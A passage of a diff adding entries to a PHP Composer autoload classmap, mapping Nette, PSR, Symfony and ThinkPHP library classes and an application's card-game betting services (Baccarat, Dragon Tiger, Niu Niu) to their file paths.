'/nette/php-generator/src/PhpGenerator/GlobalFunction.php', + 'Nette\\PhpGenerator\\Helpers' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Helpers.php', + 'Nette\\PhpGenerator\\Literal' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Literal.php', + 'Nette\\PhpGenerator\\Method' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Method.php', + 'Nette\\PhpGenerator\\Parameter' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Parameter.php', + 'Nette\\PhpGenerator\\PhpFile' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/PhpFile.php', + 'Nette\\PhpGenerator\\PhpLiteral' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/PhpLiteral.php', + 'Nette\\PhpGenerator\\PhpNamespace' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/PhpNamespace.php', + 'Nette\\PhpGenerator\\Printer' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Printer.php', + 'Nette\\PhpGenerator\\Property' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Property.php', + 'Nette\\PhpGenerator\\PsrPrinter' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/PsrPrinter.php', + 'Nette\\PhpGenerator\\Traits\\CommentAware' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Traits/CommentAware.php', + 'Nette\\PhpGenerator\\Traits\\FunctionLike' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Traits/FunctionLike.php', + 'Nette\\PhpGenerator\\Traits\\NameAware' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Traits/NameAware.php', + 'Nette\\PhpGenerator\\Traits\\VisibilityAware' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Traits/VisibilityAware.php', + 'Nette\\PhpGenerator\\Type' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Type.php', + 'Nette\\SmartObject' => __DIR__ . '/..' . '/nette/utils/src/Utils/SmartObject.php', + 'Nette\\StaticClass' => __DIR__ . '/..' . '/nette/utils/src/Utils/StaticClass.php', + 'Nette\\UnexpectedValueException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\Utils\\ArrayHash' => __DIR__ . '/..' . '/nette/utils/src/Utils/ArrayHash.php', + 'Nette\\Utils\\ArrayList' => __DIR__ . '/..' . '/nette/utils/src/Utils/ArrayList.php', + 'Nette\\Utils\\Arrays' => __DIR__ . '/..' . '/nette/utils/src/Utils/Arrays.php', + 'Nette\\Utils\\AssertionException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\Utils\\Callback' => __DIR__ . '/..' . '/nette/utils/src/Utils/Callback.php', + 'Nette\\Utils\\DateTime' => __DIR__ . '/..' . '/nette/utils/src/Utils/DateTime.php', + 'Nette\\Utils\\FileSystem' => __DIR__ . '/..' . '/nette/utils/src/Utils/FileSystem.php', + 'Nette\\Utils\\Helpers' => __DIR__ . '/..' . '/nette/utils/src/Utils/Helpers.php', + 'Nette\\Utils\\Html' => __DIR__ . '/..' . '/nette/utils/src/Utils/Html.php', + 'Nette\\Utils\\IHtmlString' => __DIR__ . '/..' . '/nette/utils/src/Utils/IHtmlString.php', + 'Nette\\Utils\\Image' => __DIR__ . '/..' . '/nette/utils/src/Utils/Image.php', + 'Nette\\Utils\\ImageException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\Utils\\Json' => __DIR__ . '/..' . '/nette/utils/src/Utils/Json.php', + 'Nette\\Utils\\JsonException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\Utils\\ObjectHelpers' => __DIR__ . '/..' . '/nette/utils/src/Utils/ObjectHelpers.php', + 'Nette\\Utils\\ObjectMixin' => __DIR__ . '/..' . '/nette/utils/src/Utils/ObjectMixin.php', + 'Nette\\Utils\\Paginator' => __DIR__ . '/..' . '/nette/utils/src/Utils/Paginator.php', + 'Nette\\Utils\\Random' => __DIR__ . '/..' . '/nette/utils/src/Utils/Random.php', + 'Nette\\Utils\\Reflection' => __DIR__ . '/..' . '/nette/utils/src/Utils/Reflection.php', + 'Nette\\Utils\\RegexpException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\Utils\\Strings' => __DIR__ . '/..' . '/nette/utils/src/Utils/Strings.php', + 'Nette\\Utils\\UnknownImageFileException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\Utils\\Validators' => __DIR__ . '/..' . '/nette/utils/src/Utils/Validators.php', + 'Psr\\Cache\\CacheException' => __DIR__ . '/..' . '/psr/cache/src/CacheException.php', + 'Psr\\Cache\\CacheItemInterface' => __DIR__ . '/..' . '/psr/cache/src/CacheItemInterface.php', + 'Psr\\Cache\\CacheItemPoolInterface' => __DIR__ . '/..' . '/psr/cache/src/CacheItemPoolInterface.php', + 'Psr\\Cache\\InvalidArgumentException' => __DIR__ . '/..' . '/psr/cache/src/InvalidArgumentException.php', + 'Psr\\Container\\ContainerExceptionInterface' => __DIR__ . '/..' . '/psr/container/src/ContainerExceptionInterface.php', + 'Psr\\Container\\ContainerInterface' => __DIR__ . '/..' . '/psr/container/src/ContainerInterface.php', + 'Psr\\Container\\NotFoundExceptionInterface' => __DIR__ . '/..' . '/psr/container/src/NotFoundExceptionInterface.php', + 'Psr\\Log\\AbstractLogger' => __DIR__ . '/..' . '/psr/log/Psr/Log/AbstractLogger.php', + 'Psr\\Log\\InvalidArgumentException' => __DIR__ . '/..' . '/psr/log/Psr/Log/InvalidArgumentException.php', + 'Psr\\Log\\LogLevel' => __DIR__ . '/..' . '/psr/log/Psr/Log/LogLevel.php', + 'Psr\\Log\\LoggerAwareInterface' => __DIR__ . '/..' . '/psr/log/Psr/Log/LoggerAwareInterface.php', + 'Psr\\Log\\LoggerAwareTrait' => __DIR__ . '/..' . '/psr/log/Psr/Log/LoggerAwareTrait.php', + 'Psr\\Log\\LoggerInterface' => __DIR__ . '/..' . '/psr/log/Psr/Log/LoggerInterface.php', + 'Psr\\Log\\LoggerTrait' => __DIR__ . '/..' . '/psr/log/Psr/Log/LoggerTrait.php', + 'Psr\\Log\\NullLogger' => __DIR__ . '/..' . '/psr/log/Psr/Log/NullLogger.php', + 'Psr\\Log\\Test\\DummyTest' => __DIR__ . '/..' . '/psr/log/Psr/Log/Test/DummyTest.php', + 'Psr\\Log\\Test\\LoggerInterfaceTest' => __DIR__ . '/..' . '/psr/log/Psr/Log/Test/LoggerInterfaceTest.php', + 'Psr\\Log\\Test\\TestLogger' => __DIR__ . '/..' . '/psr/log/Psr/Log/Test/TestLogger.php', + 'Psr\\SimpleCache\\CacheException' => __DIR__ . '/..' . '/psr/simple-cache/src/CacheException.php', + 'Psr\\SimpleCache\\CacheInterface' => __DIR__ . '/..' . '/psr/simple-cache/src/CacheInterface.php', + 'Psr\\SimpleCache\\InvalidArgumentException' => __DIR__ . '/..' . '/psr/simple-cache/src/InvalidArgumentException.php', + 'Smf\\ConnectionPool\\BorrowConnectionTimeoutException' => __DIR__ . '/..' . '/open-smf/connection-pool/src/BorrowConnectionTimeoutException.php', + 'Smf\\ConnectionPool\\ConnectionPool' => __DIR__ . '/..' . '/open-smf/connection-pool/src/ConnectionPool.php', + 'Smf\\ConnectionPool\\ConnectionPoolInterface' => __DIR__ . '/..' . '/open-smf/connection-pool/src/ConnectionPoolInterface.php', + 'Smf\\ConnectionPool\\ConnectionPoolTrait' => __DIR__ . '/..' . '/open-smf/connection-pool/src/ConnectionPoolTrait.php', + 'Smf\\ConnectionPool\\Connectors\\ConnectorInterface' => __DIR__ . '/..' . '/open-smf/connection-pool/src/Connectors/ConnectorInterface.php', + 'Smf\\ConnectionPool\\Connectors\\CoroutineMySQLConnector' => __DIR__ . '/..' . '/open-smf/connection-pool/src/Connectors/CoroutineMySQLConnector.php', + 'Smf\\ConnectionPool\\Connectors\\CoroutinePostgreSQLConnector' => __DIR__ . '/..' . '/open-smf/connection-pool/src/Connectors/CoroutinePostgreSQLConnector.php', + 'Smf\\ConnectionPool\\Connectors\\CoroutineRedisConnector' => __DIR__ . '/..' . '/open-smf/connection-pool/src/Connectors/CoroutineRedisConnector.php', + 'Smf\\ConnectionPool\\Connectors\\PDOConnector' => __DIR__ . '/..' . '/open-smf/connection-pool/src/Connectors/PDOConnector.php', + 'Smf\\ConnectionPool\\Connectors\\PhpRedisConnector' => __DIR__ . '/..' . '/open-smf/connection-pool/src/Connectors/PhpRedisConnector.php', + 'Stringable' => __DIR__ . '/..' . '/symfony/polyfill-php80/Resources/stubs/Stringable.php', + 'Symfony\\Component\\Finder\\Comparator\\Comparator' => __DIR__ . '/..' . '/symfony/finder/Comparator/Comparator.php', + 'Symfony\\Component\\Finder\\Comparator\\DateComparator' => __DIR__ . '/..' . '/symfony/finder/Comparator/DateComparator.php', + 'Symfony\\Component\\Finder\\Comparator\\NumberComparator' => __DIR__ . '/..' . '/symfony/finder/Comparator/NumberComparator.php', + 'Symfony\\Component\\Finder\\Exception\\AccessDeniedException' => __DIR__ . '/..' . '/symfony/finder/Exception/AccessDeniedException.php', + 'Symfony\\Component\\Finder\\Exception\\DirectoryNotFoundException' => __DIR__ . '/..' . '/symfony/finder/Exception/DirectoryNotFoundException.php', + 'Symfony\\Component\\Finder\\Finder' => __DIR__ . '/..' . '/symfony/finder/Finder.php', + 'Symfony\\Component\\Finder\\Gitignore' => __DIR__ . '/..' . '/symfony/finder/Gitignore.php', + 'Symfony\\Component\\Finder\\Glob' => __DIR__ . '/..' . '/symfony/finder/Glob.php', + 'Symfony\\Component\\Finder\\Iterator\\CustomFilterIterator' => __DIR__ . '/..' . '/symfony/finder/Iterator/CustomFilterIterator.php', + 'Symfony\\Component\\Finder\\Iterator\\DateRangeFilterIterator' => __DIR__ . '/..' . '/symfony/finder/Iterator/DateRangeFilterIterator.php', + 'Symfony\\Component\\Finder\\Iterator\\DepthRangeFilterIterator' => __DIR__ . '/..' . '/symfony/finder/Iterator/DepthRangeFilterIterator.php', + 'Symfony\\Component\\Finder\\Iterator\\ExcludeDirectoryFilterIterator' => __DIR__ . '/..' . '/symfony/finder/Iterator/ExcludeDirectoryFilterIterator.php', + 'Symfony\\Component\\Finder\\Iterator\\FileTypeFilterIterator' => __DIR__ . '/..' . '/symfony/finder/Iterator/FileTypeFilterIterator.php', + 'Symfony\\Component\\Finder\\Iterator\\FilecontentFilterIterator' => __DIR__ . '/..' . '/symfony/finder/Iterator/FilecontentFilterIterator.php', + 'Symfony\\Component\\Finder\\Iterator\\FilenameFilterIterator' => __DIR__ . '/..' . '/symfony/finder/Iterator/FilenameFilterIterator.php', + 'Symfony\\Component\\Finder\\Iterator\\MultiplePcreFilterIterator' => __DIR__ . '/..' . '/symfony/finder/Iterator/MultiplePcreFilterIterator.php', + 'Symfony\\Component\\Finder\\Iterator\\PathFilterIterator' => __DIR__ . '/..' . '/symfony/finder/Iterator/PathFilterIterator.php', + 'Symfony\\Component\\Finder\\Iterator\\RecursiveDirectoryIterator' => __DIR__ . '/..' . '/symfony/finder/Iterator/RecursiveDirectoryIterator.php', + 'Symfony\\Component\\Finder\\Iterator\\SizeRangeFilterIterator' => __DIR__ . '/..' . '/symfony/finder/Iterator/SizeRangeFilterIterator.php', + 'Symfony\\Component\\Finder\\Iterator\\SortableIterator' => __DIR__ . '/..' . '/symfony/finder/Iterator/SortableIterator.php', + 'Symfony\\Component\\Finder\\SplFileInfo' => __DIR__ . '/..' . '/symfony/finder/SplFileInfo.php', + 'Symfony\\Component\\VarDumper\\Caster\\AmqpCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/AmqpCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\ArgsStub' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/ArgsStub.php', + 'Symfony\\Component\\VarDumper\\Caster\\Caster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/Caster.php', + 'Symfony\\Component\\VarDumper\\Caster\\ClassStub' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/ClassStub.php', + 'Symfony\\Component\\VarDumper\\Caster\\ConstStub' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/ConstStub.php', + 'Symfony\\Component\\VarDumper\\Caster\\CutArrayStub' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/CutArrayStub.php', + 'Symfony\\Component\\VarDumper\\Caster\\CutStub' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/CutStub.php', + 'Symfony\\Component\\VarDumper\\Caster\\DOMCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/DOMCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\DateCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/DateCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\DoctrineCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/DoctrineCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\DsCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/DsCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\DsPairStub' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/DsPairStub.php', + 'Symfony\\Component\\VarDumper\\Caster\\EnumStub' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/EnumStub.php', + 'Symfony\\Component\\VarDumper\\Caster\\ExceptionCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/ExceptionCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\FrameStub' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/FrameStub.php', + 'Symfony\\Component\\VarDumper\\Caster\\GmpCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/GmpCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\ImagineCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/ImagineCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\ImgStub' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/ImgStub.php', + 'Symfony\\Component\\VarDumper\\Caster\\IntlCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/IntlCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\LinkStub' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/LinkStub.php', + 'Symfony\\Component\\VarDumper\\Caster\\MemcachedCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/MemcachedCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\PdoCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/PdoCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\PgSqlCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/PgSqlCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\ProxyManagerCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/ProxyManagerCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\RedisCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/RedisCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\ReflectionCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/ReflectionCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\ResourceCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/ResourceCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\SplCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/SplCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\StubCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/StubCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\SymfonyCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/SymfonyCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\TraceStub' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/TraceStub.php', + 'Symfony\\Component\\VarDumper\\Caster\\UuidCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/UuidCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\XmlReaderCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/XmlReaderCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\XmlResourceCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/XmlResourceCaster.php', + 'Symfony\\Component\\VarDumper\\Cloner\\AbstractCloner' => __DIR__ . '/..' . '/symfony/var-dumper/Cloner/AbstractCloner.php', + 'Symfony\\Component\\VarDumper\\Cloner\\ClonerInterface' => __DIR__ . '/..' . '/symfony/var-dumper/Cloner/ClonerInterface.php', + 'Symfony\\Component\\VarDumper\\Cloner\\Cursor' => __DIR__ . '/..' . '/symfony/var-dumper/Cloner/Cursor.php', + 'Symfony\\Component\\VarDumper\\Cloner\\Data' => __DIR__ . '/..' . '/symfony/var-dumper/Cloner/Data.php', + 'Symfony\\Component\\VarDumper\\Cloner\\DumperInterface' => __DIR__ . '/..' . '/symfony/var-dumper/Cloner/DumperInterface.php', + 'Symfony\\Component\\VarDumper\\Cloner\\Stub' => __DIR__ . '/..' . '/symfony/var-dumper/Cloner/Stub.php', + 'Symfony\\Component\\VarDumper\\Cloner\\VarCloner' => __DIR__ . '/..' . '/symfony/var-dumper/Cloner/VarCloner.php', + 'Symfony\\Component\\VarDumper\\Command\\Descriptor\\CliDescriptor' => __DIR__ . '/..' . '/symfony/var-dumper/Command/Descriptor/CliDescriptor.php', + 'Symfony\\Component\\VarDumper\\Command\\Descriptor\\DumpDescriptorInterface' => __DIR__ . '/..' . '/symfony/var-dumper/Command/Descriptor/DumpDescriptorInterface.php', + 'Symfony\\Component\\VarDumper\\Command\\Descriptor\\HtmlDescriptor' => __DIR__ . '/..' . '/symfony/var-dumper/Command/Descriptor/HtmlDescriptor.php', + 'Symfony\\Component\\VarDumper\\Command\\ServerDumpCommand' => __DIR__ . '/..' . '/symfony/var-dumper/Command/ServerDumpCommand.php', + 'Symfony\\Component\\VarDumper\\Dumper\\AbstractDumper' => __DIR__ . '/..' . '/symfony/var-dumper/Dumper/AbstractDumper.php', + 'Symfony\\Component\\VarDumper\\Dumper\\CliDumper' => __DIR__ . '/..' . '/symfony/var-dumper/Dumper/CliDumper.php', + 'Symfony\\Component\\VarDumper\\Dumper\\ContextProvider\\CliContextProvider' => __DIR__ . '/..' . '/symfony/var-dumper/Dumper/ContextProvider/CliContextProvider.php', + 'Symfony\\Component\\VarDumper\\Dumper\\ContextProvider\\ContextProviderInterface' => __DIR__ . '/..' . '/symfony/var-dumper/Dumper/ContextProvider/ContextProviderInterface.php', + 'Symfony\\Component\\VarDumper\\Dumper\\ContextProvider\\RequestContextProvider' => __DIR__ . '/..' . '/symfony/var-dumper/Dumper/ContextProvider/RequestContextProvider.php', + 'Symfony\\Component\\VarDumper\\Dumper\\ContextProvider\\SourceContextProvider' => __DIR__ . '/..' . '/symfony/var-dumper/Dumper/ContextProvider/SourceContextProvider.php', + 'Symfony\\Component\\VarDumper\\Dumper\\ContextualizedDumper' => __DIR__ . '/..' . '/symfony/var-dumper/Dumper/ContextualizedDumper.php', + 'Symfony\\Component\\VarDumper\\Dumper\\DataDumperInterface' => __DIR__ . '/..' . '/symfony/var-dumper/Dumper/DataDumperInterface.php', + 'Symfony\\Component\\VarDumper\\Dumper\\HtmlDumper' => __DIR__ . '/..' . '/symfony/var-dumper/Dumper/HtmlDumper.php', + 'Symfony\\Component\\VarDumper\\Dumper\\ServerDumper' => __DIR__ . '/..' . '/symfony/var-dumper/Dumper/ServerDumper.php', + 'Symfony\\Component\\VarDumper\\Exception\\ThrowingCasterException' => __DIR__ . '/..' . '/symfony/var-dumper/Exception/ThrowingCasterException.php', + 'Symfony\\Component\\VarDumper\\Server\\Connection' => __DIR__ . '/..' . '/symfony/var-dumper/Server/Connection.php', + 'Symfony\\Component\\VarDumper\\Server\\DumpServer' => __DIR__ . '/..' . '/symfony/var-dumper/Server/DumpServer.php', + 'Symfony\\Component\\VarDumper\\Test\\VarDumperTestTrait' => __DIR__ . '/..' . '/symfony/var-dumper/Test/VarDumperTestTrait.php', + 'Symfony\\Component\\VarDumper\\VarDumper' => __DIR__ . '/..' . '/symfony/var-dumper/VarDumper.php', + 'Symfony\\Polyfill\\Mbstring\\Mbstring' => __DIR__ . '/..' . '/symfony/polyfill-mbstring/Mbstring.php', + 'Symfony\\Polyfill\\Php72\\Php72' => __DIR__ . '/..' . '/symfony/polyfill-php72/Php72.php', + 'Symfony\\Polyfill\\Php80\\Php80' => __DIR__ . '/..' . '/symfony/polyfill-php80/Php80.php', + 'UnhandledMatchError' => __DIR__ . '/..' . '/symfony/polyfill-php80/Resources/stubs/UnhandledMatchError.php', + 'ValueError' => __DIR__ . '/..' . '/symfony/polyfill-php80/Resources/stubs/ValueError.php', + 'app\\AppService' => __DIR__ . '/../..' . '/app/AppService.php', + 'app\\ExceptionHandle' => __DIR__ . '/../..' . '/app/ExceptionHandle.php', + 'app\\Request' => __DIR__ . '/../..' . '/app/Request.php', + 'app\\handle\\controller\\Common' => __DIR__ . '/../..' . '/app/handle/controller/Common.php', + 'app\\handle\\controller\\Index' => __DIR__ . '/../..' . '/app/handle/controller/Index.php', + 'app\\handle\\controller\\Login' => __DIR__ . '/../..' . '/app/handle/controller/Login.php', + 'app\\handle\\controller\\Scan' => __DIR__ . '/../..' . '/app/handle/controller/Scan.php', + 'app\\index\\controller\\Common' => __DIR__ . '/../..' . '/app/index/controller/Common.php', + 'app\\index\\controller\\Index' => __DIR__ . '/../..' . '/app/index/controller/Index.php', + 'app\\index\\controller\\Login' => __DIR__ . '/../..' . '/app/index/controller/Login.php', + 'app\\index\\middleware\\checkLogin' => __DIR__ . '/../..' . '/app/index/middleware/checkLogin.php', + 'app\\listener\\GetState' => __DIR__ . '/../..' . '/app/listener/GetState.php', + 'app\\listener\\WsClose' => __DIR__ . '/../..' . '/app/listener/WsClose.php', + 'app\\listener\\WsConnect' => __DIR__ . '/../..' . '/app/listener/WsConnect.php', + 'app\\listener\\scan\\Baccarat' => __DIR__ . '/../..' . '/app/listener/scan/Baccarat.php', + 'app\\listener\\scan\\Dt' => __DIR__ . '/../..' . '/app/listener/scan/Dt.php', + 'app\\listener\\scan\\Nn' => __DIR__ . '/../..' . '/app/listener/scan/Nn.php', + 'app\\listener\\scan\\Tc' => __DIR__ . '/../..' . '/app/listener/scan/Tc.php', + 'app\\listener\\space\\ChangeBoot' => __DIR__ . '/../..' . '/app/listener/space/ChangeBoot.php', + 'app\\listener\\space\\EndBet' => __DIR__ . '/../..' . '/app/listener/space/EndBet.php', + 'app\\listener\\space\\EndRob' => __DIR__ . '/../..' . '/app/listener/space/EndRob.php', + 'app\\listener\\space\\OpeningBaccarat' => __DIR__ . '/../..' . '/app/listener/space/OpeningBaccarat.php', + 'app\\listener\\space\\OpeningDt' => __DIR__ . '/../..' . '/app/listener/space/OpeningDt.php', + 'app\\listener\\space\\OpeningNn' => __DIR__ . '/../..' . '/app/listener/space/OpeningNn.php', + 'app\\listener\\space\\OpeningTc' => __DIR__ . '/../..' . '/app/listener/space/OpeningTc.php', + 'app\\listener\\space\\ResetBoot' => __DIR__ . '/../..' . '/app/listener/space/ResetBoot.php', + 'app\\listener\\space\\ResetNumberTab' => __DIR__ . '/../..' . '/app/listener/space/ResetNumberTab.php', + 'app\\listener\\space\\StartBet' => __DIR__ . '/../..' . '/app/listener/space/StartBet.php', + 'app\\listener\\space\\StartRob' => __DIR__ . '/../..' . '/app/listener/space/StartRob.php', + 'app\\listener\\user\\CancelBet' => __DIR__ . '/../..' . '/app/listener/user/CancelBet.php', + 'app\\listener\\user\\ToBet' => __DIR__ . '/../..' . '/app/listener/user/ToBet.php', + 'app\\listener\\user\\ToRob' => __DIR__ . '/../..' . '/app/listener/user/ToRob.php', + 'app\\middleware\\checkLogin' => __DIR__ . '/../..' . '/app/middleware/checkLogin.php', + 'app\\models\\bet\\Bet' => __DIR__ . '/../..' . '/app/models/bet/Bet.php', + 'app\\models\\bet\\Cs' => __DIR__ . '/../..' . '/app/models/bet/Cs.php', + 'app\\models\\bet\\Xima' => __DIR__ . '/../..' . '/app/models/bet/Xima.php', + 'app\\models\\process\\Boot' => __DIR__ . '/../..' . '/app/models/process/Boot.php', + 'app\\models\\process\\NumberTab' => __DIR__ . '/../..' . '/app/models/process/NumberTab.php', + 'app\\models\\process\\RetreatedLog' => __DIR__ . '/../..' . '/app/models/process/RetreatedLog.php', + 'app\\models\\process\\Sumday' => __DIR__ . '/../..' . '/app/models/process/Sumday.php', + 'app\\models\\process\\WaybillRemind' => __DIR__ . '/../..' . '/app/models/process/WaybillRemind.php', + 'app\\models\\table\\ScanAccount' => __DIR__ . '/../..' . '/app/models/table/ScanAccount.php', + 'app\\models\\table\\Table' => __DIR__ . '/../..' . '/app/models/table/Table.php', + 'app\\models\\table\\UserController' => __DIR__ . '/../..' . '/app/models/table/UserController.php', + 'app\\models\\user\\User' => __DIR__ . '/../..' . '/app/models/user/User.php', + 'app\\services\\bet\\CancelBetService' => __DIR__ . '/../..' . '/app/services/bet/CancelBetService.php', + 'app\\services\\bet\\ToBetBaccaratService' => __DIR__ . '/../..' . '/app/services/bet/ToBetBaccaratService.php', + 'app\\services\\bet\\ToBetCommonService' => __DIR__ . '/../..' . '/app/services/bet/ToBetCommonService.php', + 'app\\services\\bet\\ToBetDtService' => __DIR__ . '/../..' . '/app/services/bet/ToBetDtService.php', + 'app\\services\\bet\\ToBetNnService' => __DIR__ . '/../..' . '/app/services/bet/ToBetNnService.php', + 'app\\services\\bet\\ToBetTcService' => __DIR__ . '/../..' . '/app/services/bet/ToBetTcService.php', + 'app\\services\\bet\\ToRobService' => __DIR__ . '/../..' . '/app/services/bet/ToRobService.php', + 'app\\services\\connect\\GetCardService' => __DIR__ . '/../..' . '/app/services/connect/GetCardService.php', + 'app\\services\\connect\\InitTableService' => __DIR__ . '/../..' . '/app/services/connect/InitTableService.php', + 'app\\services\\connect\\ScanConnectService' => __DIR__ . '/../..' . '/app/services/connect/ScanConnectService.php', + 'app\\services\\connect\\SpaceConnectService' => __DIR__ . '/../..' . '/app/services/connect/SpaceConnectService.php', + 'app\\services\\connect\\UserConnectService' => __DIR__ . '/../..' . '/app/services/connect/UserConnectService.php', + 'app\\services\\opening\\OpeningBaccaratService' => __DIR__ . '/../..' . '/app/services/opening/OpeningBaccaratService.php', + 'app\\services\\opening\\OpeningDtService' => __DIR__ . '/../..' . '/app/services/opening/OpeningDtService.php', + 'app\\services\\opening\\OpeningNnService' => __DIR__ . '/../..' . '/app/services/opening/OpeningNnService.php', + 'app\\services\\opening\\OpeningTcService' => __DIR__ . '/../..' . '/app/services/opening/OpeningTcService.php', + 'app\\services\\process\\CountdownService' => __DIR__ . '/../..' . '/app/services/process/CountdownService.php', + 'app\\services\\process\\EndBetService' => __DIR__ . '/../..' . '/app/services/process/EndBetService.php', + 'app\\services\\process\\EndRobService' => __DIR__ . '/../..' . '/app/services/process/EndRobService.php', + 'app\\services\\process\\ResetNumberTabService' => __DIR__ . '/../..' . '/app/services/process/ResetNumberTabService.php', + 'app\\services\\process\\StartBetService' => __DIR__ . '/../..' . '/app/services/process/StartBetService.php', + 'app\\services\\process\\StartRobService' => __DIR__ . '/../..' . '/app/services/process/StartRobService.php', + 'app\\services\\scan\\ScanBaccaratService' => __DIR__ . '/../..' . '/app/services/scan/ScanBaccaratService.php', + 'app\\services\\scan\\ScanCommonService' => __DIR__ . '/../..' . '/app/services/scan/ScanCommonService.php', + 'app\\services\\scan\\ScanDtService' => __DIR__ . '/../..' . '/app/services/scan/ScanDtService.php', + 'app\\services\\scan\\ScanNnService' => __DIR__ . '/../..' . '/app/services/scan/ScanNnService.php', + 'app\\services\\scan\\ScanTcService' => __DIR__ . '/../..' . '/app/services/scan/ScanTcService.php', + 'freedom\\basic\\BaseModel' => __DIR__ . '/../..' . '/freedom/basic/BaseModel.php', + 'freedom\\traits\\ModelTrait' => __DIR__ . '/../..' . '/freedom/traits/ModelTrait.php', + 'freedom\\utils\\CardPosition' => __DIR__ . '/../..' . '/freedom/utils/CardPosition.php', + 'freedom\\utils\\CardPositionNn' => __DIR__ . '/../..' . '/freedom/utils/CardPositionNn.php', + 'freedom\\utils\\CardPositionTc' => __DIR__ . '/../..' . '/freedom/utils/CardPositionTc.php', + 'freedom\\utils\\RedisUtil' => __DIR__ . '/../..' . '/freedom/utils/RedisUtil.php', + 'freedom\\utils\\SocketSession' => __DIR__ . '/../..' . '/freedom/utils/SocketSession.php', + 'freedom\\utils\\Waybill' => __DIR__ . '/../..' . '/freedom/utils/Waybill.php', + 'think\\App' => __DIR__ . '/..' . '/topthink/framework/src/think/App.php', + 'think\\Cache' => __DIR__ . '/..' . '/topthink/framework/src/think/Cache.php', + 'think\\Collection' => __DIR__ . '/..' . '/topthink/think-helper/src/Collection.php', + 'think\\Config' => __DIR__ . '/..' . '/topthink/framework/src/think/Config.php', + 'think\\Console' => __DIR__ . '/..' . '/topthink/framework/src/think/Console.php', + 'think\\Container' => __DIR__ . '/..' . '/topthink/framework/src/think/Container.php', + 'think\\Cookie' => __DIR__ . '/..' . '/topthink/framework/src/think/Cookie.php', + 'think\\Db' => __DIR__ . '/..' . '/topthink/framework/src/think/Db.php', + 'think\\DbManager' => __DIR__ . '/..' . '/topthink/think-orm/src/DbManager.php', + 'think\\Env' => __DIR__ . '/..' . '/topthink/framework/src/think/Env.php', + 'think\\Event' => __DIR__ . '/..' . '/topthink/framework/src/think/Event.php', + 'think\\Exception' => __DIR__ . '/..' . '/topthink/framework/src/think/Exception.php', + 